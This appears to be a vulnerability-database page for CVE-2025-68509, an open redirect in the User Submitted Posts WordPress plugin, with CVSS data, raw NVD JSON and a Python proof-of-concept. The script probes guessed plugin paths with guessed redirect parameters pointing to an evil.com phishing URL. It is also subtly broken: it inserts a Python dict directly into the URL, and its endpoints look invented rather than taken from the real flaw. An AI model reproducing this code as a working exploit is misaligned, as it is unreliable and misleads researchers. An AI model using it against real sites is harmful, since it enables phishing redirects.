Security Vulnerability Report
中文
CVE-2025-68509 CVSS 4.7 MEDIUM

CVE-2025-68509

Published: 2025-12-24 13:16:21
Last Modified: 2026-04-27 19:16:27

Description

URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Jeff Starr User Submitted Posts user-submitted-posts allows Phishing.This issue affects User Submitted Posts: from n/a through <= 20251121.

CVSS Details

CVSS Score
4.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Jeff Starr User Submitted Posts (WordPress插件) <= 20251121

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-68509 PoC - Open Redirect in User Submitted Posts WordPress Plugin # Target: WordPress site with User Submitted Posts plugin <= 20251121 def test_open_redirect(target_url): """ Test for Open Redirect vulnerability in User Submitted Posts plugin. Parameters: target_url: Base URL of the WordPress site (e.g., https://example.com) """ # Malicious redirect target (attacker-controlled domain) evil_domain = "https://evil.com/phishing" # Common paths for User Submitted Posts plugin paths = [ "/wp-content/plugins/user-submitted-posts/", "/wp-content/plugins/user-submitted-posts/resources/", "/wp-content/plugins/user-submitted-posts/inc/submission-form.php" ] for path in paths: # Test redirect parameter (common parameter names) params = [ {"redirect": evil_domain}, {"url": evil_domain}, {"redir": evil_domain}, {"return": evil_domain}, {"redirect_to": evil_domain}, {"continue": evil_domain} ] for param in params: full_url = f"{target_url}{path}?{param}" try: response = requests.get(full_url, allow_redirects=False, timeout=10) # Check if Location header points to external domain if 'Location' in response.headers: location = response.headers['Location'] if evil_domain in location or 'evil.com' in location: print(f"[VULNERABLE] Open Redirect found!") print(f"URL: {full_url}") print(f"Location: {location}") return True # Also check for meta refresh or JavaScript redirects if response.status_code in [301, 302, 303, 307, 308]: print(f"[INFO] Potential redirect at {full_url}") except requests.RequestException as e: print(f"[ERROR] Request failed: {e}") return False if __name__ == "__main__": # Example usage target = "https://target-site.com" test_open_redirect(target) # Remediation: # 1. Update User Submitted Posts plugin to version > 20251121 # 2. Implement URL whitelist for redirect targets # 3. Add referer checking to prevent CSRF-based redirects # 4. Display warning to users before redirecting to external domains

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68509", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:20.777", "lastModified": "2026-04-27T19:16:26.573", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "URL Redirection to Untrusted Site ('Open Redirect') vulnerability in Jeff Starr User Submitted Posts user-submitted-posts allows Phishing.This issue affects User Submitted Posts: from n/a through <= 20251121."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N", "baseScore": 4.7, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-601"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/user-submitted-posts/vulnerability/wordpress-user-submitted-posts-plugin-20251121-open-redirection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}